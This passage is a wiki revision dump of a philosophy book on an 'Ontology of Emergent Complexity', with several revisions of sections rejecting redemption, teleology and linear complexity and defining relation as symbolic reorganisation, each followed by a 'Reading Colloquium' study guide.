transcendence is denied, the redemptive gesture reappears as reintegration, totalization, or affirmative surpassing. But emergence does not totalize. Life does not culminate. Thought does not reconcile. The symbolic gesture reorganizes—it never resolves. Against the idea that the world moves toward its own realization—whether in the time of Spirit, in the history of reason, or in the fulfillment of freedom—the OEC proposes a traversal without finality. Matter acts. Matter reorganizes. But this action has no teleology, no eschatology, no guarantee of completion. Teleology, as a form of ontological blindness, rests on the belief that everything has a purpose—explicit or implicit, divine or functional. Even in its secularized forms, such as in evolutionary biology, the notion of adaptive function still bears traces of Aristotelian final causality: the wing "serves for flying," the eye "serves for seeing" (Aristotle, 1995, p. 194). Ernst Mayr, though critical of classical teleology, still resorts to purposive language when explaining adaptation as optimized response to environment (Mayr, 1997, p. 87). The Ontology of Emergent Complexity proposes a different path: function does not derive from purpose, but from local operative coherence. The wing flies because it functionally inscribes itself into a system that persists—not because it was born for it. Life is not organized in order to live; it persists because certain forms operate better than others under given conditions. Emergence does not fulfill a plan: it executes an operation. It is here that the critique extends to secular redemption. Kant believed in the moral progress of humanity, guided by practical reason toward a universal ethical community (Kant, 2002, p. 102). Harari projects a redemptive post-human future, in which artificial intelligence surpasses the limits of Homo sapiens (Harari, 2016, p. 264). Transhumanism, in Bostrom, reinstates the myth of salvation in the form of technical-functional transcendence—mind upload, death's overcoming, unlimited optimization (Bostrom, 2010, p. 54). In all these figures, redemption abandons God but retains the promise. Heaven is traded for silicon. But the gesture remains: to liberate being from its unstable condition. The Ontology of Emergent Complexity rejects this gesture. Instability is not a problem to be solved but the very condition of emergence. Matter does not liberate itself from itself: it folds, reinvents, insists. Freedom is not transcendence of condition, but symbolic opening within the condition. Redemption is the illusion that there is a meaning to come. Symbolic reorganization is the operation of making legible a difference that was not yet inscribed. There is no salvation in time: time does not save—it folds. There is no progress: there is local iterative consistency. This iterative consistency is the core of emergence without direction. There is no plan, and no error that diverts it. What emerges, emerges through material excess in the face of an asymmetry that demands response—not through failure, not through deviation, not through vocation. Simondon describes this dynamic by stating that individuation does not originate from being, but from tension: the real emerges in the interval, not in substance (Simondon, 2005, p. 78). Deleuze shifts the focus from being to becoming—not as a finalistic process, but as affirmation of difference (Deleuze, 1994, p. 182). Glissant rejects the single root and proposes the relational rhizome—there is no origin that founds, only relation that reorganizes (Glissant, 1997, p. 15). The Ontology of Emergent Complexity inscribes itself in this lineage but radicalizes the refusal of teleology by rejecting not only ends but also meanings projected retroactively. The symbol is not revelation—it is operation. Even philosophies that denounce the end of history often reinscribe collapse as the figure of emergence. Benjamin projects the messianic rupture into the instant of danger (Benjamin, 1999, p. 254). Lacan sees in the hole of the real the site of truth (Lacan, 2001, p. 113). Žižek reenacts catastrophe as the condition of new form (Žižek, 2011, p. 76). But every dramatization of crisis as a motor of meaning reintroduces the structure of redemption: something must break for something to arise. The Ontology of Emergent Complexity responds: failure is not a cause. It is only the name given to what no longer sustains reorganization. Change is not produced by rupture but by abundance. Excess, not collapse, is the operator of emergence. This inversion has decisive ethical consequences. If there is no redemption, there is no redemptive guilt. If there is no teleology, there is no vocation to fulfill. Ethics does not respond to a final judgment but to a present vulnerability. Responsibility is not adherence to an end, but local sustenance of difference. Butler proposes an ethics of exposure to shared precarity (Butler, 2005, p. 29). Mbembe thinks care from the vantage of colonial finitude and shared violence (Mbembe, 2013, p. 106). Glissant invokes the right to opacity—non-transparency as an ethical gesture (Glissant, 1997, p. 91). All converge in rejecting salvation as horizon. The Ontology of Emergent Complexity affirms: there is no ethics that comes after. There is only symbolic gesture in the face of alterity. There is no redemption for the real. But the real never needed saving—only reorganization. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This is the final section of Part II, completing the account of method and style by affirming the consequences of the framework's refusal of teleology. Where §1.5 refused teleology as an ontological position, this section draws the methodological consequence: philosophical work within the framework is not oriented toward a final conclusion, a redemptive synthesis, or a reconciliation of contradictions. There is no redemption and no teleology — not even in the work of philosophy itself. === 2. Philosophical Problem at Stake === The problem is the deep expectation, embedded in Western philosophical culture, that thought should progress toward a resolution — that the purpose of philosophical inquiry is to arrive at a truth, a synthesis, or a final account that settles the questions it addresses. This expectation is operative even in traditions that claim to have abandoned it: Hegel's dialectic promises reconciliation; hermeneutics promises understanding; even deconstruction, in some readings, promises the justice of the "to come." === 3. Core Thesis and Conceptual Reorganisation === The thesis is that the framework's philosophical practice operates without the promise of arrival. Thought reorganises the field; it does not complete it. Each philosophical act — each inscription, each conceptual reorganisation — produces effects that are real and consequential, but these effects do not accumulate toward a final state. The field remains unstable; the work continues; there is no moment at which the ontology developed here will be "finished." === 4. Key Concepts and Their Articulation === The key concepts are the refusal of redemption (no hidden meaning is waiting to be recovered), the refusal of teleological progress (successive reorganisations do not constitute an advance toward truth), and the affirmation of operative persistence (the value of philosophical work lies in what it makes possible, not in what it concludes). === 5. Implications for Readers and Pedagogical Pathways === This section confronts readers with one of the most challenging consequences of the framework: the work they are reading does not aim to convince them of a final truth. It aims to equip them with operative tools that can reorganise their engagement with the real. The pedagogical implication is that understanding is not a state to be achieved but a practice to be sustained. Readers are encouraged to resist the impulse to ask "what is the conclusion?" and instead to ask "what can I do with these concepts?" {{BookCat}} j8swe3j60mrwy3x9dj6qxoyjyekjz56 4670829 4670800 2026-09-18T02:01:19Z DavidCota64 3507033 Use British English consistently in prose and pedagogical headings 4670829 wikitext text/x-wiki '''2.3 - No Redemption, No Teleology''' There is no redemption. There is no teleology. To think life, matter, or consciousness through the lens of a final structure—however sophisticated it may appear—is to sustain the illusion that reality moves toward a predetermined meaning. The Ontology of Emergent Complexity rejects this illusion. It affirms instead that reality does not need to be saved, because it was never lost. What emerges, emerges through operative reorganisation in response to a local asymmetry—not out of lack, fall, or vocation toward an elsewhere. Complex matter does not realize a plan; it folds according to material combinations that did not previously exist—not as a response to a latent structure, but as a singular expression of operative excess. It responds without direction, it insists without destiny. The idea of redemption, even stripped of explicit religious content, infiltrates philosophy in subtle forms. In Hegel, the Aufhebung remains a figure of salvation: every contradiction is absorbed into the progressive unfolding of Spirit (Hegel, 2004, p. 69). In Heidegger, the listening to Being leads Dasein back to its lost abode—this is not theological redemption, but the ontological redemption of thought (Heidegger, 2001, p. 312). In Nietzsche, despite the rejection of all metaphysics, the notion of overcoming still promises a transfiguration of becoming—the promise of a life redeemed by its own tragic affirmation (Nietzsche, 2006, p. 243). Even where transcendence is denied, the redemptive gesture reappears as reintegration, totalization, or affirmative surpassing. But emergence does not totalize. Life does not culminate. Thought does not reconcile. The symbolic gesture reorganizes—it never resolves. Against the idea that the world moves toward its own realization—whether in the time of Spirit, in the history of reason, or in the fulfillment of freedom—the OEC proposes a traversal without finality. Matter acts. Matter reorganizes. But this action has no teleology, no eschatology, no guarantee of completion. Teleology, as a form of ontological blindness, rests on the belief that everything has a purpose—explicit or implicit, divine or functional. Even in its secularized forms, such as in evolutionary biology, the notion of adaptive function still bears traces of Aristotelian final causality: the wing "serves for flying," the eye "serves for seeing" (Aristotle, 1995, p. 194). Ernst Mayr, though critical of classical teleology, still resorts to purposive language when explaining adaptation as optimized response to environment (Mayr, 1997, p. 87). The Ontology of Emergent Complexity proposes a different path: function does not derive from purpose, but from local operative coherence. The wing flies because it functionally inscribes itself into a system that persists—not because it was born for it. Life is not organized in order to live; it persists because certain forms operate better than others under given conditions. Emergence does not fulfill a plan: it executes an operation. It is here that the critique extends to secular redemption. Kant believed in the moral progress of humanity, guided by practical reason toward a universal ethical community (Kant, 2002, p. 102). Harari projects a redemptive post-human future, in which artificial intelligence surpasses the limits of Homo sapiens (Harari, 2016, p. 264). Transhumanism, in Bostrom, reinstates the myth of salvation in the form of technical-functional transcendence—mind upload, death's overcoming, unlimited optimization (Bostrom, 2010, p. 54). In all these figures, redemption abandons God but retains the promise. Heaven is traded for silicon. But the gesture remains: to liberate being from its unstable condition. The Ontology of Emergent Complexity rejects this gesture. Instability is not a problem to be solved but the very condition of emergence. Matter does not liberate itself from itself: it folds, reinvents, insists. Freedom is not transcendence of condition, but symbolic opening within the condition. Redemption is the illusion that there is a meaning to come. Symbolic reorganisation is the operation of making legible a difference that was not yet inscribed. There is no salvation in time: time does not save—it folds. There is no progress: there is local iterative consistency. This iterative consistency is the core of emergence without direction. There is no plan, and no error that diverts it. What emerges, emerges through material excess in the face of an asymmetry that demands response—not through failure, not through deviation, not through vocation. Simondon describes this dynamic by stating that individuation does not originate from being, but from tension: the real emerges in the interval, not in substance (Simondon, 2005, p. 78). Deleuze shifts the focus from being to becoming—not as a finalistic process, but as affirmation of difference (Deleuze, 1994, p. 182). Glissant rejects the single root and proposes the relational rhizome—there is no origin that founds, only relation that reorganizes (Glissant, 1997, p. 15). The Ontology of Emergent Complexity inscribes itself in this lineage but radicalizes the refusal of teleology by rejecting not only ends but also meanings projected retroactively. The symbol is not revelation—it is operation. Even philosophies that denounce the end of history often reinscribe collapse as the figure of emergence. Benjamin projects the messianic rupture into the instant of danger (Benjamin, 1999, p. 254). Lacan sees in the hole of the real the site of truth (Lacan, 2001, p. 113). Žižek reenacts catastrophe as the condition of new form (Žižek, 2011, p. 76). But every dramatization of crisis as a motor of meaning reintroduces the structure of redemption: something must break for something to arise. The Ontology of Emergent Complexity responds: failure is not a cause. It is only the name given to what no longer sustains reorganisation. Change is not produced by rupture but by abundance. Excess, not collapse, is the operator of emergence. This inversion has decisive ethical consequences. If there is no redemption, there is no redemptive guilt. If there is no teleology, there is no vocation to fulfill. Ethics does not respond to a final judgment but to a present vulnerability. Responsibility is not adherence to an end, but local sustenance of difference. Butler proposes an ethics of exposure to shared precarity (Butler, 2005, p. 29). Mbembe thinks care from the vantage of colonial finitude and shared violence (Mbembe, 2013, p. 106). Glissant invokes the right to opacity—non-transparency as an ethical gesture (Glissant, 1997, p. 91). All converge in rejecting salvation as horizon. The Ontology of Emergent Complexity affirms: there is no ethics that comes after. There is only symbolic gesture in the face of alterity. There is no redemption for the real. But the real never needed saving—only reorganisation. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This is the final section of Part II, completing the account of method and style by affirming the consequences of the framework's refusal of teleology. Where §1.5 refused teleology as an ontological position, this section draws the methodological consequence: philosophical work within the framework is not oriented toward a final conclusion, a redemptive synthesis, or a reconciliation of contradictions. There is no redemption and no teleology — not even in the work of philosophy itself. === 2. Philosophical Problem at Stake === The problem is the deep expectation, embedded in Western philosophical culture, that thought should progress toward a resolution — that the purpose of philosophical inquiry is to arrive at a truth, a synthesis, or a final account that settles the questions it addresses. This expectation is operative even in traditions that claim to have abandoned it: Hegel's dialectic promises reconciliation; hermeneutics promises understanding; even deconstruction, in some readings, promises the justice of the "to come." === 3. Core Thesis and Conceptual Reorganisation === The thesis is that the framework's philosophical practice operates without the promise of arrival. Thought reorganises the field; it does not complete it. Each philosophical act — each inscription, each conceptual reorganisation — produces effects that are real and consequential, but these effects do not accumulate toward a final state. The field remains unstable; the work continues; there is no moment at which the ontology developed here will be "finished." === 4. Key Concepts and Their Articulation === The key concepts are the refusal of redemption (no hidden meaning is waiting to be recovered), the refusal of teleological progress (successive reorganisations do not constitute an advance toward truth), and the affirmation of operative persistence (the value of philosophical work lies in what it makes possible, not in what it concludes). === 5. Implications for Readers and Pedagogical Pathways === This section confronts readers with one of the most challenging consequences of the framework: the work they are reading does not aim to convince them of a final truth. It aims to equip them with operative tools that can reorganise their engagement with the real. The pedagogical implication is that understanding is not a state to be achieved but a practice to be sustained. Readers are encouraged to resist the impulse to ask "what is the conclusion?" and instead to ask "what can I do with these concepts?" {{BookCat}} dct48r8gh5zti24cm45cgvqslsvdzuc 0 476966 4670730 4670241 2026-09-17T23:39:57Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670730 wikitext text/x-wiki '''3.1.1 - The Refusal of Linear Complexity''' Complexity is not a linear property, nor does it emerge as if each structure had to restart its path from zero. Its historical accumulation is acknowledged and retroactively legible, even though it is not guided by any extrinsic vector or external purpose. The Ontology of Emergent Complexity rejects both the teleology of progress and the illusion of an absolute beginning. Complexity is historically cumulative — yes — but this accumulation does not proceed by mere addition; rather, it unfolds through successive reorganizations of complex matter. There is no leap from nothing, but neither is there a straight line: there is folding, displacement, and creative iteration over what is already structured. The linear reading of complexity — common in certain versions of cybernetics, social functionalism, or even computational transhumanism — reduces emergence to growth, as if more information, more connections, or more density would suffice. Against this, the Ontology of Complexity proposes that complexity be thought of as a field of operative reorganization over already organized layers, where each reorganization generates differentiations that make it possible to trace historically recognizable paths — although not oriented by any ultimate meaning — producing qualitative transformations rather than mere quantitative increment. Edgar Morin, in proposing the paradigm of complexity, sought to break with mechanistic and causal reductionism. However, as Stengers notes in the chapter “Complexité et auto-organisation” from ''Penser avec Whitehead'' (''Stengers, 2002, p. 58''), his proposal still retains traces of a nostalgia for integrative totality. Even when emphasizing the inter-retro-action of systems, Morin’s model tends to see complexity as systemic recomposition, which still suggests a unifying vector of meaning. In contrast, the Ontology of Emergent Complexity insists: complexity is local reorganization under tension — not harmonic totality, nor reconstituted meaning. In the field of evolutionary biology, attempts to measure complexity by genome size, gene count, or behavioral traits lead to the illusion that the most complex is also the most developed. Stephen Jay Gould, in ''Full House: The Spread of Excellence from Plato to Darwin'' (''Gould, 1996, p. 58''), dismantles this idea by showing that the apparent evolutionary direction is a statistical artifact rather than evidence of intrinsic orientation. The Ontology of Complexity adopts this point, but emphasizes that there is indeed accumulation: living matter retains prior inscriptions, reinscribes them, reorganizes them. Complexity grows — but grows through excess, not through linearity. Likewise, the technoscientific discourse that celebrates the increase of computational power confuses quantity with emergence. Technical increment is only relevant if it implies functional reorganization within the system. An AI that stores data but does not alter its symbolic mode of operation remains closed within its regime. Operative complexity requires plasticity: the capacity for self-inscription and adaptive response to instability. Thought, in this model, does not emerge as the climax of an evolutionary line, but as an operative fold over pre-existing material. To think is to reinscribe inherited tensions into a new regime of legibility — symbolic only when it concerns language or representation. Hence, there is no evolution without bifurcation, no thought without operative discontinuity. The history of complex matter is made of strata, layers, and recesses — not of an arrow. Even so, these layers allow the recognition of historical patterns of transformation of complexity, without implying prior orientation or final direction. The refusal of linear complexity is, therefore, a refusal of the notion of progress as a directional line — not a denial of historical accumulation. Complex matter conserves, transforms, reinscribes. What persists is not the strongest, nor the simplest: it is what, at each stage, manages to reorganize itself functionally in the face of what it does not control. Complexity, here, is the name of incompletion — not perfection — and of the operative continuity of the material reconfigurations of the real. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === --- ---- {{BookCat}} 0p87ocmptnjn34o7111lc2z92jh3in9 4670801 4670730 2026-09-18T01:50:46Z DavidCota64 3507033 Complete the Reading Colloquium from the revised local pedagogical guide 4670801 wikitext text/x-wiki '''3.1.1 - The Refusal of Linear Complexity''' Complexity is not a linear property, nor does it emerge as if each structure had to restart its path from zero. Its historical accumulation is acknowledged and retroactively legible, even though it is not guided by any extrinsic vector or external purpose. The Ontology of Emergent Complexity rejects both the teleology of progress and the illusion of an absolute beginning. Complexity is historically cumulative — yes — but this accumulation does not proceed by mere addition; rather, it unfolds through successive reorganizations of complex matter. There is no leap from nothing, but neither is there a straight line: there is folding, displacement, and creative iteration over what is already structured. The linear reading of complexity — common in certain versions of cybernetics, social functionalism, or even computational transhumanism — reduces emergence to growth, as if more information, more connections, or more density would suffice. Against this, the Ontology of Complexity proposes that complexity be thought of as a field of operative reorganization over already organized layers, where each reorganization generates differentiations that make it possible to trace historically recognizable paths — although not oriented by any ultimate meaning — producing qualitative transformations rather than mere quantitative increment. Edgar Morin, in proposing the paradigm of complexity, sought to break with mechanistic and causal reductionism. However, as Stengers notes in the chapter “Complexité et auto-organisation” from ''Penser avec Whitehead'' (''Stengers, 2002, p. 58''), his proposal still retains traces of a nostalgia for integrative totality. Even when emphasizing the inter-retro-action of systems, Morin’s model tends to see complexity as systemic recomposition, which still suggests a unifying vector of meaning. In contrast, the Ontology of Emergent Complexity insists: complexity is local reorganization under tension — not harmonic totality, nor reconstituted meaning. In the field of evolutionary biology, attempts to measure complexity by genome size, gene count, or behavioral traits lead to the illusion that the most complex is also the most developed. Stephen Jay Gould, in ''Full House: The Spread of Excellence from Plato to Darwin'' (''Gould, 1996, p. 58''), dismantles this idea by showing that the apparent evolutionary direction is a statistical artifact rather than evidence of intrinsic orientation. The Ontology of Complexity adopts this point, but emphasizes that there is indeed accumulation: living matter retains prior inscriptions, reinscribes them, reorganizes them. Complexity grows — but grows through excess, not through linearity. Likewise, the technoscientific discourse that celebrates the increase of computational power confuses quantity with emergence. Technical increment is only relevant if it implies functional reorganization within the system. An AI that stores data but does not alter its symbolic mode of operation remains closed within its regime. Operative complexity requires plasticity: the capacity for self-inscription and adaptive response to instability. Thought, in this model, does not emerge as the climax of an evolutionary line, but as an operative fold over pre-existing material. To think is to reinscribe inherited tensions into a new regime of legibility — symbolic only when it concerns language or representation. Hence, there is no evolution without bifurcation, no thought without operative discontinuity. The history of complex matter is made of strata, layers, and recesses — not of an arrow. Even so, these layers allow the recognition of historical patterns of transformation of complexity, without implying prior orientation or final direction. The refusal of linear complexity is, therefore, a refusal of the notion of progress as a directional line — not a denial of historical accumulation. Complex matter conserves, transforms, reinscribes. What persists is not the strongest, nor the simplest: it is what, at each stage, manages to reorganize itself functionally in the face of what it does not control. Complexity, here, is the name of incompletion — not perfection — and of the operative continuity of the material reconfigurations of the real. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This subsection specifies the framework's concept of complexity by distinguishing it from the standard scientific usage. In complexity science, "complexity" typically refers to systems with many interacting components that exhibit emergent behaviour. The framework's usage is more radical: complexity names the irreducibility of the field to any linear description, regardless of the number of components. === 2. Philosophical Problem at Stake === The problem is the persistent temptation to treat complexity as a quantitative measure — as a function of the number of parts, the number of interactions, or the computational resources required to model a system. The framework insists that complexity is an ontological category, not a metric. === 3. Core Thesis and Conceptual Reorganisation === The thesis is that complexity in the framework's sense is non-linear: it does not increase smoothly with the number of components but is characterised by thresholds, bifurcations, and qualitative transformations. The refusal of linear complexity is the refusal of the assumption that more of the same produces merely more of the same. === 4. Key Concepts and Their Articulation === Non-linear complexity, threshold (the point at which quantitative accumulation produces qualitative transformation), and the distinction between complication (many parts, predictable behaviour) and complexity (irreducible patterns that exceed predictive description). === 5. Implications for Readers and Pedagogical Pathways === Readers from the sciences should attend to the ontological rather than merely methodological character of this claim. Readers from the humanities should attend to the rigour with which the concept is specified — "complexity" is not a vague gesture toward difficulty but a precise description of a structural feature of the real. {{BookCat}} 9b37vjscfnr73vpq1kd6j8asdib2svc 4670830 4670801 2026-09-18T02:01:22Z DavidCota64 3507033 Use British English consistently in prose and pedagogical headings 4670830 wikitext text/x-wiki '''3.1.1 - The Refusal of Linear Complexity''' Complexity is not a linear property, nor does it emerge as if each structure had to restart its path from zero. Its historical accumulation is acknowledged and retroactively legible, even though it is not guided by any extrinsic vector or external purpose. The Ontology of Emergent Complexity rejects both the teleology of progress and the illusion of an absolute beginning. Complexity is historically cumulative — yes — but this accumulation does not proceed by mere addition; rather, it unfolds through successive reorganizations of complex matter. There is no leap from nothing, but neither is there a straight line: there is folding, displacement, and creative iteration over what is already structured. The linear reading of complexity — common in certain versions of cybernetics, social functionalism, or even computational transhumanism — reduces emergence to growth, as if more information, more connections, or more density would suffice. Against this, the Ontology of Complexity proposes that complexity be thought of as a field of operative reorganisation over already organized layers, where each reorganisation generates differentiations that make it possible to trace historically recognizable paths — although not oriented by any ultimate meaning — producing qualitative transformations rather than mere quantitative increment. Edgar Morin, in proposing the paradigm of complexity, sought to break with mechanistic and causal reductionism. However, as Stengers notes in the chapter “Complexité et auto-organisation” from ''Penser avec Whitehead'' (''Stengers, 2002, p. 58''), his proposal still retains traces of a nostalgia for integrative totality. Even when emphasizing the inter-retro-action of systems, Morin’s model tends to see complexity as systemic recomposition, which still suggests a unifying vector of meaning. In contrast, the Ontology of Emergent Complexity insists: complexity is local reorganisation under tension — not harmonic totality, nor reconstituted meaning. In the field of evolutionary biology, attempts to measure complexity by genome size, gene count, or behavioral traits lead to the illusion that the most complex is also the most developed. Stephen Jay Gould, in ''Full House: The Spread of Excellence from Plato to Darwin'' (''Gould, 1996, p. 58''), dismantles this idea by showing that the apparent evolutionary direction is a statistical artifact rather than evidence of intrinsic orientation. The Ontology of Complexity adopts this point, but emphasizes that there is indeed accumulation: living matter retains prior inscriptions, reinscribes them, reorganizes them. Complexity grows — but grows through excess, not through linearity. Likewise, the technoscientific discourse that celebrates the increase of computational power confuses quantity with emergence. Technical increment is only relevant if it implies functional reorganisation within the system. An AI that stores data but does not alter its symbolic mode of operation remains closed within its regime. Operative complexity requires plasticity: the capacity for self-inscription and adaptive response to instability. Thought, in this model, does not emerge as the climax of an evolutionary line, but as an operative fold over pre-existing material. To think is to reinscribe inherited tensions into a new regime of legibility — symbolic only when it concerns language or representation. Hence, there is no evolution without bifurcation, no thought without operative discontinuity. The history of complex matter is made of strata, layers, and recesses — not of an arrow. Even so, these layers allow the recognition of historical patterns of transformation of complexity, without implying prior orientation or final direction. The refusal of linear complexity is, therefore, a refusal of the notion of progress as a directional line — not a denial of historical accumulation. Complex matter conserves, transforms, reinscribes. What persists is not the strongest, nor the simplest: it is what, at each stage, manages to reorganize itself functionally in the face of what it does not control. Complexity, here, is the name of incompletion — not perfection — and of the operative continuity of the material reconfigurations of the real. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This subsection specifies the framework's concept of complexity by distinguishing it from the standard scientific usage. In complexity science, "complexity" typically refers to systems with many interacting components that exhibit emergent behaviour. The framework's usage is more radical: complexity names the irreducibility of the field to any linear description, regardless of the number of components. === 2. Philosophical Problem at Stake === The problem is the persistent temptation to treat complexity as a quantitative measure — as a function of the number of parts, the number of interactions, or the computational resources required to model a system. The framework insists that complexity is an ontological category, not a metric. === 3. Core Thesis and Conceptual Reorganisation === The thesis is that complexity in the framework's sense is non-linear: it does not increase smoothly with the number of components but is characterised by thresholds, bifurcations, and qualitative transformations. The refusal of linear complexity is the refusal of the assumption that more of the same produces merely more of the same. === 4. Key Concepts and Their Articulation === Non-linear complexity, threshold (the point at which quantitative accumulation produces qualitative transformation), and the distinction between complication (many parts, predictable behaviour) and complexity (irreducible patterns that exceed predictive description). === 5. Implications for Readers and Pedagogical Pathways === Readers from the sciences should attend to the ontological rather than merely methodological character of this claim. Readers from the humanities should attend to the rigour with which the concept is specified — "complexity" is not a vague gesture toward difficulty but a precise description of a structural feature of the real. {{BookCat}} 280vx5yqm4mcmmi52bio0e5kuk706po 0 476967 4670731 4670243 2026-09-17T23:40:31Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670731 wikitext text/x-wiki '''3.1.2 - Relational Tension as Ontological Principle''' Before anything else, a distinction must be made: in the physical universe, there are countless forms of material organization that are not symbolic — from the formation of galaxies and solar systems through gravitational action to the configuration of magnetic fields. These structures result from fundamental forces and organize matter according to stable principles, but they do not operate through inscription or internal codified reorganization. Still, these non-symbolic organizations only become intelligible when they are included within a symbolic regime of inscription — that is, they can only be known and understood when integrated by a system capable of symbolizing that organization. The recognition of gravitational forces, for example, depends on the constitution of a symbolic regime that interprets, models, and reinscribes them. The Ontology of Emergent Complexity acknowledges two distinct regimes of organization: on one hand, non-symbolic material organizations, such as those resulting from physical forces (gravity, electromagnetism, magnetic fields); on the other, symbolic relations, which emerge only when a portion of matter acquires the capacity to inscribe and reorganize functional differences. In this sense, the concept of “relation” is reserved — in the strong sense — for this second regime: not as a negation of previous forms of organization, but as the qualitative emergence of a new plane of symbolic consistency. In this framework, relation is not a link between pre-given terms, nor a bridge that connects predefined substances. In the Ontology of Emergent Complexity, relation is not a connection between prior forms, but a critical zone of reorganization, where what is sometimes conceived as “fields” should be understood only as external material dispositions that acquire relational meaning only when symbolically reorganized. No field is presupposed as a prior structure or generative instance: what exists is a situated interaction between matter that symbolizes and matter that is symbolized, without any spatial or structural presupposition of an ontological field. What relates does not preexist the relation: it is local instability itself that reshapes each consistency so that it reorganizes — without plan, symmetry, or return. When it comes to symbolic relation — as in the case where a portion of matter begins to function as the support for the inscription of another — the link is not established between stable entities, but between asymmetrical conditions of material organization. The symbolized already exists materially before the relation: it is its external configuration that makes symbolic inscription possible. The matter that symbolizes, however, does not preexist as a constituted structure — it is through the act of inscription that matter acquires symbolic function, reorganizing itself to perform this role. Symbolic inscription, then, always implies the creation of a new material structure in response to an external organization that precedes it. Symbolic relation emerges only when a system acquires the capacity to functionally inscribe that exteriority, reorganizing itself in response. Thus, symbolic inscription does not invent what is symbolized, but differentially organizes what is already materially present. This relation is always local, finite, and irreversible — it does not arise from transcendent logic or a universal representational regime. The symbol, in this context, is not a bridge between worlds, but a provisional reorganization of matter under a regime of functional difference. This formulation opens two decisive philosophical dialogues. First, with the genetic phenomenology of Merleau-Ponty, particularly in ''Le visible et l’invisible'' (''Merleau-Ponty, 1964, p. 138''), where it is argued that the body is not a static given, but is constituted as a sensitive locus as it inscribes itself into relation with the visible. Likewise, in the Ontology of Emergent Complexity, the matter that symbolizes does not preexist as a structure, but constitutes itself as symbolic function through the act of inscription. Secondly, with the critical epistemology of Michel Foucault, especially in ''L’Archéologie du savoir'' (''Foucault, 1969, p. 132''), where knowledge is not representation, but the symbolic reorganization of material data that only becomes legible through inscription. The Ontology of Complexity extends this epistemological gesture to the ontological level: what is symbolized is not constructed, but reorganized — and it is through this act that symbolic difference emerges, situated and functional. Against the logic of networks, which presupposes discrete units and external connections, the Ontology of Complexity affirms that relation precedes individuation. A system does not exist first and then relate — it only exists to the extent that it modulates itself in the face of other instabilities. Here, relation is not an addition: it is a condition of existence. This principle displaces classical metaphors of communication and exchange. In Glissant, relation is not connection, but tremor — a vibratory excess that destabilizes all identity (''Glissant, 1990, p. 56''). In Deleuze, relation is not an attribute of terms, but the very production of difference through immanent variation (''Deleuze, 1968, p. 72''). The Ontology of Complexity takes up these formulations and radicalizes them: relation does not merely affect what already exists — it composes existence through local symbolic reorganization, in response to a material difference that exceeds it. It is not a matter of unresolved tension in a general sense, but of operative emergence that establishes a situated link between matter and inscription. From this, decisive implications arise for thinking about systems, knowledge, and politics. There is no relational equilibrium, only metastable persistence. What appears as coherence is a transitory effect of operative negotiation. Material systems — biological, technical, or symbolic — endure not by resolving difference, but by iterating their internal capacity to reformulate under tension. The Ontology of Emergent Complexity thus replaces the paradigm of structural equilibrium with that of relational excess. What sustains a system is not its balance, but its ability to remain exposed to what exceeds it. Seen in this light, complexity is not a form of integration, but a threshold of symbolic relation. The real is not sustained by closure, but by constant exposure to what exceeds it. Relation is the name for this operative exposure that does not collapse — that holds just long enough to reorganize itself again through the functional inscription of the material difference it receives. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} q27pc9sjtxqnzmebl85g2qluad7x4o0 4670802 4670731 2026-09-18T01:50:49Z DavidCota64 3507033 Complete the Reading Colloquium from the revised local pedagogical guide 4670802 wikitext text/x-wiki '''3.1.2 - Relational Tension as Ontological Principle''' Before anything else, a distinction must be made: in the physical universe, there are countless forms of material organization that are not symbolic — from the formation of galaxies and solar systems through gravitational action to the configuration of magnetic fields. These structures result from fundamental forces and organize matter according to stable principles, but they do not operate through inscription or internal codified reorganization. Still, these non-symbolic organizations only become intelligible when they are included within a symbolic regime of inscription — that is, they can only be known and understood when integrated by a system capable of symbolizing that organization. The recognition of gravitational forces, for example, depends on the constitution of a symbolic regime that interprets, models, and reinscribes them. The Ontology of Emergent Complexity acknowledges two distinct regimes of organization: on one hand, non-symbolic material organizations, such as those resulting from physical forces (gravity, electromagnetism, magnetic fields); on the other, symbolic relations, which emerge only when a portion of matter acquires the capacity to inscribe and reorganize functional differences. In this sense, the concept of “relation” is reserved — in the strong sense — for this second regime: not as a negation of previous forms of organization, but as the qualitative emergence of a new plane of symbolic consistency. In this framework, relation is not a link between pre-given terms, nor a bridge that connects predefined substances. In the Ontology of Emergent Complexity, relation is not a connection between prior forms, but a critical zone of reorganization, where what is sometimes conceived as “fields” should be understood only as external material dispositions that acquire relational meaning only when symbolically reorganized. No field is presupposed as a prior structure or generative instance: what exists is a situated interaction between matter that symbolizes and matter that is symbolized, without any spatial or structural presupposition of an ontological field. What relates does not preexist the relation: it is local instability itself that reshapes each consistency so that it reorganizes — without plan, symmetry, or return. When it comes to symbolic relation — as in the case where a portion of matter begins to function as the support for the inscription of another — the link is not established between stable entities, but between asymmetrical conditions of material organization. The symbolized already exists materially before the relation: it is its external configuration that makes symbolic inscription possible. The matter that symbolizes, however, does not preexist as a constituted structure — it is through the act of inscription that matter acquires symbolic function, reorganizing itself to perform this role. Symbolic inscription, then, always implies the creation of a new material structure in response to an external organization that precedes it. Symbolic relation emerges only when a system acquires the capacity to functionally inscribe that exteriority, reorganizing itself in response. Thus, symbolic inscription does not invent what is symbolized, but differentially organizes what is already materially present. This relation is always local, finite, and irreversible — it does not arise from transcendent logic or a universal representational regime. The symbol, in this context, is not a bridge between worlds, but a provisional reorganization of matter under a regime of functional difference. This formulation opens two decisive philosophical dialogues. First, with the genetic phenomenology of Merleau-Ponty, 